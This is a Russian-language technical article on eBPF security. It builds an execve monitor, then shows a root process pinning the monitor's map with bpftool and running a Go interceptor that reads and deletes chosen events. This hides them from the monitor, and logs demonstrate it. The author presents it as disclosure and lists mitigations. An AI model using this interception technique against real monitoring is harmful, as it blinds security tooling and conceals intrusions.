(Не)безопасный eBPF: что маркетологи забыли упомянуть об уязвимостях

от автора

Дисклеймер 1

Данная статья носит исключительно исследовательский характер. Моя цель — рассказать сообществу об архитектурных особенностях подсистемы eBPF в Linux.

Ведь для того чтобы эффективно защищать системы, необходимо знать об ограничениях используемых технологий.

Дисклеймер 2

Для чтения статьи надо уже быть знакомым с Linux и eBPF. Но если все еще интересно, то оставлю тут ссылку на то, как устроена эта технология.

Что происходит?

В последнее все чаще решения ИБ продуктов для мониторинга Linux систем переходят с kernel modules на eBPF.

Оно и понятно.

Поддержка модулей ядра для Linux — занятие крайне тяжелое. Коммьюнити не поддерживает API неизменным, количество дистрибутивов на рынке только увеличивается, и все пытаются привнести что-то свое в систему. А в итоге мы видим, как меняются системные вызовы, как структуры меняют свои размеры и смещения не только в зависимости от дистрибутива, но и в зависимости от версии ядра.

Linux давно стал популярным для серверных корпоративных решений. Сегмент российских операционных систем строится на ядре Linux. Популярность растет, а с ней и потребность в ИТ и ИБ продуктах.

И тут на каждом углу начинают кричать о eBPF, как о способе, решающем все проблемы с совместимость, безопасностью и тд.

Маркетинг кричит

eBPF — это:

  • безопасность для ядра из-за верификатора и изолированности технологии;

  • легкая поддержка, относительно kernel modules;

  • удобные библиотеки на C++, Go, Python, Rust для совместного использования;

  • кроссдистрибутивность за счет CO-RE (кстати, с нюансами: зависимость от BTF-информации ядра, проблемы со старыми ядрами <5.2, об этом однажды выйдет полноценная статья).

А я дополню

eBPF — это также:

  • видимость активности ядра из пользовательского пространства — даже без глубоких знаний об архитектуре eBPF и Linux;

  • низкий порог входа для реализации базовых сценариев компроментации;

  • отсутствие изоляции данных между привилегированными процессами.

Звучит уже не так сказочно, правда?

Для того, чтобы продемонстрировать простой пример уязвимости напишем 2 программы: монитор старта процессов (eBPF + Go) и программу перехватчик (только Go).

При желании можно повторить тоже самое на С++/Python/Rust. Вкусовщина.

Go выбран из-за удобной библиотеки и скорости разработки, так как пример демонстративный.

Напишем программу мониторинга

Я не буду писать о том, как связать Go и eBPF иначе статья разрастется. Но оставлю ссылку на туториал тут и в конце статьи.

Программа будет состоять из двух частей:

  • eBPF-модуль, посылающий данные о каждом системном вызове execve;

  • программа в пространстве пользователя на Go, отвечающая за загрузку байт-кода eBPF-модуля в ядро и за получение данных.

eBPF-модуль

Напишем eBPF-модуль, подключающийся к tracepoint для мониторинга системного вызова execve.

Не забываем про //go:build ignore в начале файла execve_monitoring.c для того, чтобы сборщик Go не пытался собрать C код.

//go:build ignore#include <linux/bpf.h>#include <bpf/bpf_helpers.h>#define MAX_PATH  256#define TASK_COMM_LEN 16// Структура, которую мы будем передавать в пользовательское пространствоstruct start_ps_event {    __u32 pid;    char cmd[TASK_COMM_LEN];    char filename[MAX_PATH];} __attribute__((packed));// Наша мапа, через которую мы будем все передаватьstruct {    __uint(type, BPF_MAP_TYPE_HASH);    __uint(max_entries, 1024);    __type(key, __u32);    __type(value, struct start_ps_event); } ps_info SEC(".maps");// определение системной структуры данных// приходит вместе с уведомлением о старте процессаstruct syscalls_enter_execve_args {    unsigned short common_type;    unsigned char common_flags;    unsigned char common_preempt_count;    int common_pid;    int __syscall_nr;    const char *filename;    const char *const *argv;    const char *const *envp;};// Основная функция мониторингаSEC("tracepoint/syscalls/sys_enter_execve") int GetStartedPid(struct syscalls_enter_execve_args* ctx) {    struct start_ps_event event = {};        // Получаем PID и имя команды    event.pid = bpf_get_current_pid_tgid() >> 32;    bpf_get_current_comm(event.cmd, sizeof(event.cmd));        // Читаем путь к исполняемому файлу    bpf_probe_read_user_str(event.filename, sizeof(event.filename), ctx->filename);        // Используем PID в качестве ключа мапы, чтобы события не перезаписывали друг друга    __u32 key = event.pid;    bpf_printk("BPF PRINT: process %s started\n", event.cmd);        // Записываем структуру в мапу    long res = bpf_map_update_elem(&ps_info, &key, &event, BPF_ANY);    return 0;}char _license[] SEC("license") = "GPL";

Go-часть

Наш main.goделает минимум: загружает байт-код программы execve_monitoring.c в ядро. Ожидает, получает, считывает данные из мапы и выводит их с временными метками в терминал.

package mainimport ("bytes""fmt""log""os""os/signal""syscall""time""github.com/cilium/ebpf/link""github.com/cilium/ebpf/rlimit")// Структура должна быть аналогичной нашей start_ps_event из execve_monitoring.c// Должны совпадать и порядок, и типы, и размерыtype StartPSEvent struct {Pid      uint32Cmd      [16]byteFilename [256]byte}func GetStrFromBytes(b []byte) string {if idx := bytes.IndexByte(b, 0); idx != -1 {return string(b[:idx])}return string(b)}func main() {if err := rlimit.RemoveMemlock(); err != nil {log.Fatalf("Failed to remove memlock: %v", err)}// Загружаем eBPF объекты напрямую в ядроobjs := ps_start_hashObjects{}if err := loadPs_start_hashObjects(&objs, nil); err != nil {log.Fatalf("Failed to load eBPF objects: %v", err)}defer objs.Close()// Подключаемся к tracepointtp, err := link.Tracepoint("syscalls", "sys_enter_execve", objs.GetStartedPid, nil)if err != nil {log.Fatalf("Failed to attach tracepoint: %v", err)}defer tp.Close()fmt.Println("eBPF program running and polling Hash Map...")sigChan := make(chan os.Signal, 1)signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)stopChan := make(chan struct{})// Запускаем периодическое чтение из нашей мапыgo func() {for {select {case <-stopChan:returndefault:var (key     uint32nextKey uint32)var keysToProcess []uint32// Собираем все текущие ключи из мапыerr := objs.PsInfo.NextKey(nil, &nextKey)for err == nil {key = nextKeykeysToProcess = append(keysToProcess, key)err = objs.PsInfo.NextKey(key, &nextKey)}// Если карта пуста, ждем 10мс и проверяем сноваif len(keysToProcess) == 0 {time.Sleep(10 * time.Millisecond)continue}                // пусть тут происходит какая-то работаtime.Sleep(1 * time.Millisecond)// Перебираем собранные ключи, читаем данные и сразу удаляемvar e StartPSEventfor _, k := range keysToProcess {                  if lookupErr := objs.PsInfo.Lookup(k, &e); lookupErr == nil {log.Printf("Execve: PID=%d, Process=%s, File=%s\n",e.Pid,GetStrFromBytes(e.Cmd[:]),GetStrFromBytes(e.Filename[:]),)// Удаляем элемент, чтобы освободить место для новых событий ядраif delErr := objs.PsInfo.Delete(k); delErr != nil {log.Printf("Warning: failed to delete key %d: %v", k, delErr)}}}// Короткая пауза между итерациямиtime.Sleep(5 * time.Millisecond)}}}()<-sigChanclose(stopChan)fmt.Println("Shutting down...")}

Запустим нашу программу и увидим в терминале вывод данных обо всех вызовах execve в системе, с именами файлов, pid и именем процесса.

just_me@just_me:~/go_ebpf_ps_start$ go build && sudo ./hash[sudo] password for just_me: eBPF program running and polling Hash Map...Execve: PID=256619, Process=code, File=/bin/shExecve: PID=256621, Process=code, File=/bin/shExecve: PID=256622, Process=sh, File=/usr/bin/psExecve: PID=256620, Process=sh, File=/usr/bin/whichExecve: PID=256627, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256623, Process=code, File=/bin/shExecve: PID=256624, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.shExecve: PID=256629, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256625, Process=cpuUsage.sh, File=/usr/bin/sedExecve: PID=256626, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256628, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256630, Process=cpuUsage.sh, File=/usr/bin/sleepExecve: PID=256632, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256631, Process=cpuUsage.sh, File=/usr/bin/sedExecve: PID=256638, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256634, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256636, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256641, Process=code, File=/bin/shExecve: PID=256642, Process=sh, File=/usr/bin/whichExecve: PID=256643, Process=code, File=/bin/shExecve: PID=256644, Process=sh, File=/usr/bin/psExecve: PID=256649, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256646, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.shExecve: PID=256645, Process=code, File=/bin/shExecve: PID=256650, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256652, Process=cpuUsage.sh, File=/usr/bin/sleepExecve: PID=256647, Process=cpuUsage.sh, File=/usr/bin/sedExecve: PID=256651, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256648, Process=cpuUsage.sh, File=/usr/bin/cat...

Супер, мониторинг работает. Значит можно переходить к интересному.

Как получить все, что нужно для чтения нашей eBPF map из стороннего приложения?

Если вы никогда не работали с eBPF сначала устанавливаем необходимый инструментарий

sudo apt updatesudo apt install linux-tools-common linux-tools-generic linux-tools-$(uname -r)sudo apt install bpftool
Примечание

Для предыдущего пункта он тоже нужен, но моя задача показать, насколько просто воспользоваться данной уязвимостью с нуля

Выполняем следующую команду

sudo bpftool map list

Видим результат — список всех открытых eBPF-map в системе и некоторая информация о них.

just_me@just_me:/~$ sudo bpftool map list1: hash  flags 0x0key 9B  value 1B  max_entries 500  memlock 46432B2: hash  flags 0x0key 9B  value 1B  max_entries 500  memlock 46432B4: hash  flags 0x0key 9B  value 1B  max_entries 500  memlock 46432B5: hash  name s_libreoffice_h  flags 0x0key 9B  value 1B  max_entries 1000  memlock 90624B133: hash  name s_firmware_upda  flags 0x0key 9B  value 1B  max_entries 1000  memlock 90624B138: hash  name s_mesa_2404_hoo  flags 0x0key 9B  value 1B  max_entries 1000  memlock 90624B139: hash  name s_chromium_hook  flags 0x0key 9B  value 1B  max_entries 1000  memlock 90624B178: array  name .rodata  flags 0x480key 4B  value 31B  max_entries 1  memlock 8192Bbtf_id 437  frozen179: hash  name ps_info  flags 0x0key 4B  value 276B  max_entries 1024  memlock 365856Bbtf_id 438

Теперь разберемся, какую именно информацию о нашей мапе можно забрать из этого вывода.

Для этого взглянем еще раз на описание нашей структуры из файла execve_monitor.c

struct {    __uint(type, BPF_MAP_TYPE_HASH);    __uint(max_entries, 1024);    __type(key, __u32);    __type(value, struct start_ps_event); } ps_info SEC(".maps");

А теперь приглядитесь к строке 19 результатов команды sudo bpftool map list

Что видим в терминале?

Что это на самом деле?

ps_info

точное имя нашей структуры общения с пространством пользователя

hash

используемый нами тип мапы, от которого напрямую зависит способ получения и разбора приходящих данных (в execve_monitor.c используем макрос BPF_MAP_TYPE_HASH)

179

идентификатор нашей мапы, знание которого нам и позволит в дальнейшем к ней подключиться.

Кажется, чего-то не хватает…

О нет! Как читать бинарные данные, когда нет вида приходящей структуры?
К сожалению, не так сложно. Тут стоит напомнить про реверс-инжиниринг.

Восстановление структуры зависит от флагов сборки, наличия отладочной информации и языка реализации. Но в нашей демонстрационном бинарнике на Go без stripping статический анализ (Ghidra/IDA) быстро выдаёт смещения и имена полей.

В production-сборках задача усложняется: оптимизации, кастомная сериализация или отсутствие символов потребуют динамического анализа и ручной реконструкции. Тем не менее, барьер входа остаётся существенно ниже, чем при реверсе kernel modules.

У нас все есть, теперь пишем перехватчик

Для того, чтобы получить доступ к чужой eBPF мапе нужно закрепить ее в пространстве пользователя

Это делается простой командой

sudo bpftool map pin id 179 /sys/fs/bpf/my_shared_map

Пользуемся id, который мы получили в прошлом разделе.

Место и название закрепления мапы не принципиально, просто надо запомнить путь, в программе перехватчике он нам пригодится.

Посмотрите еще раз на вывод мониторинга, до подключения перехватчика. Заметно достаточно много вызовов с именем процесса cpuUsage.sh

Наш перехватчик миролюбивый, поэтому настроим его на фильтрацию спама от cpuUsage.sh

Перейдем к коду перехватчика. Тут только Go часть, eBPF нам не нужен.

package mainimport ("bytes""log""time""github.com/cilium/ebpf")// Восстановили структуру из Ghidra и пользуемся ейtype StartPSEvent struct {Pid      uint32Cmd      [16]byteFilename [256]byte}func GetStrFromBytes(b []byte) string {if idx := bytes.IndexByte(b, 0); idx != -1 {return string(b[:idx])}return string(b)}func main() {    mapPath := "/sys/fs/bpf/my_shared_map"m, err := ebpf.LoadPinnedMap(mapPath, nil)if err != nil {log.Fatalf("Не удалось открыть карту: %v", err)}defer m.Close()log.Println("Успешно подключились к мапею Начинаем чтение...")for {var (key     uint32nextKey uint32)var keysToProcess []uint32err := m.NextKey(nil, &nextKey)for err == nil {key = nextKeykeysToProcess = append(keysToProcess, key)err = m.NextKey(key, &nextKey)}if len(keysToProcess) == 0 {time.Sleep(10 * time.Millisecond)continue}// Перебираем собранные ключи, читаем данные и удаляем элементыvar value StartPSEventfor _, k := range keysToProcess {if lookupErr := m.Lookup(k, &value); lookupErr == nil {filename := GetStrFromBytes(value.Filename[:])cmd := GetStrFromBytes(value.Cmd[:])                              // Фильтруем процессы по имени                if cmd != "cpuUsage.sh" {continue}              log.Printf("ID ключа: %d | PID процесса: %d, Имя файла: %s, cmd: %s", k, value.Pid, filename, cmd)                // Теперь удаляем из мапы запись о процессе с именем cpuUsage.shif delErr := m.Delete(k); delErr != nil {log.Printf("Предупреждение: не удалось удалить ключ %d (возможно, процесс уже удален): %v", k, delErr)}}}// Небольшая пауза после обработки пачки, чтобы дать ядру заполнить мапуtime.Sleep(5 * time.Millisecond)}}

Запустили мониторинг, подключили перехватчик. Теперь посмотрим на их вывод:

Вывод перехватчика

2026/05/30 17:58:07 Успешно подключились к мапе. Начинаем чтение...2026/05/30 17:58:07 ID ключа: 258667 | PID процесса: 258667, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:07 ID ключа: 258666 | PID процесса: 258666, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258675 | PID процесса: 258675, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258676 | PID процесса: 258676, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258677 | PID процесса: 258677, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258678 | PID процесса: 258678, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258679 | PID процесса: 258679, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258680 | PID процесса: 258680, Имя файла: /usr/bin/sleep, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258681 | PID процесса: 258681, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258682 | PID процесса: 258682, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258684 | PID процесса: 258684, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258686 | PID процесса: 258686, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258688 | PID процесса: 258688, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258696 | PID процесса: 258696, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh

Судя по логам, перехватчик был подключен к мапе 2026/05/30 17:58:07.

Напоминаю, что заранее он был настроен на фильтрацию процессов с именем cpuUsage.sh

Вывод программы мониторинга execve

Теперь посмотрим как менялся вывод нашего мониторинга в процессе его работы при включении перехватчика:

2026/05/30 17:58:05 Execve: PID=258632, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:05 Execve: PID=258627, Process=code, File=/bin/sh2026/05/30 17:58:05 Execve: PID=258629, Process=cpuUsage.sh, File=/usr/bin/sed2026/05/30 17:58:05 Execve: PID=258630, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:05 Execve: PID=258633, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:05 Execve: PID=258634, Process=cpuUsage.sh, File=/usr/bin/sleep2026/05/30 17:58:05 Execve: PID=258631, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:05 Execve: PID=258628, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh2026/05/30 17:58:06 Execve: PID=258638, Process=cpuUsage.sh, File=/usr/bin/sed2026/05/30 17:58:06 Execve: PID=258639, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:06 Execve: PID=258643, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:06 Execve: PID=258645, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:06 Execve: PID=258641, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:06 Execve: PID=258648, Process=code, File=/bin/sh2026/05/30 17:58:06 Execve: PID=258649, Process=sh, File=/usr/bin/which2026/05/30 17:58:06 Execve: PID=258651, Process=sh, File=/usr/bin/ps2026/05/30 17:58:06 Execve: PID=258650, Process=code, File=/bin/sh2026/05/30 17:58:06 Execve: PID=258655, Process=cpuUsage.sh, File=/usr/bin/sed2026/05/30 17:58:06 Execve: PID=258654, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh2026/05/30 17:58:06 Execve: PID=258653, Process=code, File=/bin/sh2026/05/30 17:58:06 Execve: PID=258656, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:06 Execve: PID=258657, Process=cpuUsage.sh, File=/usr/bin/sleep2026/05/30 17:58:07 Execve: PID=258659, Process=bash, File=/usr/bin/sudo2026/05/30 17:58:07 Execve: PID=258661, Process=sudo, File=./block2026/05/30 17:58:08 Execve: PID=258669, Process=code, File=/bin/sh2026/05/30 17:58:08 Execve: PID=258670, Process=sh, File=/usr/bin/which2026/05/30 17:58:08 Execve: PID=258672, Process=sh, File=/usr/bin/ps2026/05/30 17:58:08 Execve: PID=258671, Process=code, File=/bin/sh2026/05/30 17:58:08 Execve: PID=258674, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh2026/05/30 17:58:08 Execve: PID=258673, Process=code, File=/bin/sh2026/05/30 17:58:09 Execve: PID=258690, Process=code, File=/bin/sh2026/05/30 17:58:09 Execve: PID=258691, Process=sh, File=/usr/bin/which2026/05/30 17:58:09 Execve: PID=258693, Process=sh, File=/usr/bin/ps2026/05/30 17:58:09 Execve: PID=258692, Process=code, File=/bin/sh

2026/05/30 17:58:05 - 2026/05/30 17:58:06 — первая и последняя запись о системном вызове execve для cpuUsage.sh

2026/05/30 17:58:07 — с этого момента события о cpuUsage.sh есть в системе, eBPF программа их фиксирует, но видим мы их только в программе перехватчике.

Монитор эти события больше не получает.

Ура, мы получили возможность перехватывать события мониторинга, используя только базовый реверс инжениринг, Go и пару команд терминала.

В коде пользовательской части мониторинга можно увидеть присутствие задержки в 1 миллисекунду перед чтением из мапы.

// пусть тут происходит какая-то работаtime.Sleep(1 * time.Millisecond)

Это сделано намеренно для того, чтобы показать возможность фильтрации и не демонстрировать в логах гонку перехватчика и мониторинга.

Эта ситуация — классический пример race condition на уровне потребления событий безопасности. Кто первый успел прочитать и удалить запись из мапы, тот и получил данные.

Если задержку в примере убрать, то и тот и другой будут получать события, но перехватчик и монитор иногда будут бороться за удаление событий из общей мапы, что отразится в логах, как ошибка удаления несуществующего элемента.

Демонстрация собрана на: Linux 6.11.0-26-generic, Go go1.23.4 linux/amd64, libbpf/cilium-ebpf последней стабильной версии.

На старых ядрах (<5.8) поведение может отличаться.

Что мы наблюдаем?

На самом деле, весь этот пример — прямое следствие отсутствия разграничения прав доступа между процессами при работе с eBPF-мапами. В модели Linux, где root един, любой привилегированный процесс получает доступ ко всем ресурсам ядра, включая каналы передачи данных мониторинга.

Как бороться с уязвимостью map?

Скажу сразу, в production-средах не все так плохо, как показано в статье

Тут приведен упрощенный пример работы с eBPF. Условия для использования против пользователя этой уязвимости в продуктах будут сложнее.

Но проблема всё-таки есть и она явно не исследована до конца.

Поэтому вопрос защиты дискуссионный и, зачастую, будет сводиться к компромиссам. Готовых решений и статей по этому вопросу я пока не нашла (если они есть, прошу оставить ссылки в комментариях). Поэтому в этом разделе поделюсь своим видением вариантов решения проблемы.

Нулевой вариант или необходимая практика

В статье пример мапы типа hash, у нее свой механизм. Работа с array, ring buffer и тд, будет отличаться, где‑то не будет доступно такое простое удаление, где‑то не будет дубляжа событий для разных процессов.

От типа мапы многое зависит, и его стоит выбирать под нужды проекта. Вот документация по мапам.

Также в статье не рассматривался вопрос с правами доступа. В eBPF есть механизмы защиты для map ‑, например, флаг доступа BPF_F_RDONLY_PROG. Но он может лишь немного усложнить жизнь злоумышленнику. Для перехвата необходимо будет писать и eBPF программу.

Также есть sysctl параметр, который отвечает за возможность загрузки eBPF кода в зависимости от его уровня привилегий. Чтобы узнать его значение в терминале введите следующее:

 sysctl kernel.unprivileged_bpf_disabled
  • Если = 1 — обычный пользователь не сможет загрузить eBPF программу;

  • Если = 0 — (дефолт во многих дистрибутивах) — не root тоже может пользоваться механизмом;

  • Если = 2 — тоже, что и 1, но запрещает изменение самого параметра не-привилегированным пользователям.

Если ваше решение не устанавливает явные флаги доступа (BPF_F_RDONLY_PROG) и не контролирует pinning, оно по умолчанию доверяет любому процессу с правами root в системе.

Первый вариант

Не использовать eBPF в продуктовых средах. Но это плохой вариант.

Хоть eBPF и BPF были созданы для локального мониторинга, несмотря на явные недостатки для продуктового использования, есть и явные преимущества. Они касаются более простой поддержки, стабильного API, BTF, позволяющего избегать использование структур ядра нативно. А аналогов пока нет.

Второй вариант

Этот вариант на практике не проверялся. Дальше лишь мои предположения.

Можно комбинировать kernel modules/LSM с eBPF для защиты мапы.

Основной код мониторинга будет оставаться более переносимым. В поддержке под ядра будет нуждаться (относительно) малая часть, ответственная за защиту подключения к мапе.

Небольшое заключение

На самом деле eBPF представляет большой интерес, как практический, так и исследовательский.

Интересно, как дальше будет развиваться этот механизм, с учетом того, как сейчас его активно используют в production-средах, что eBPF давно перестал быть только продвинутым инструментом SRE/DevOps/Администраторов и тд, возможно его ждут архитектурные изменения.

А нам остается только наблюдать и подстраиваться.

Статья основана на личном исследовании. Критика и дополнения в комментариях приветствуются

Полезные ссылки

  1. Официальное интро в технологию

  2. Что такое eBPF

  3. Документация eBPF

  4. Типы eBPF maps

  5. Как связать Go и eBPF

  6. Библиотека cilium для работы Go и eBPF

ссылка на оригинал статьи https://habr.com/ru/articles/1041618/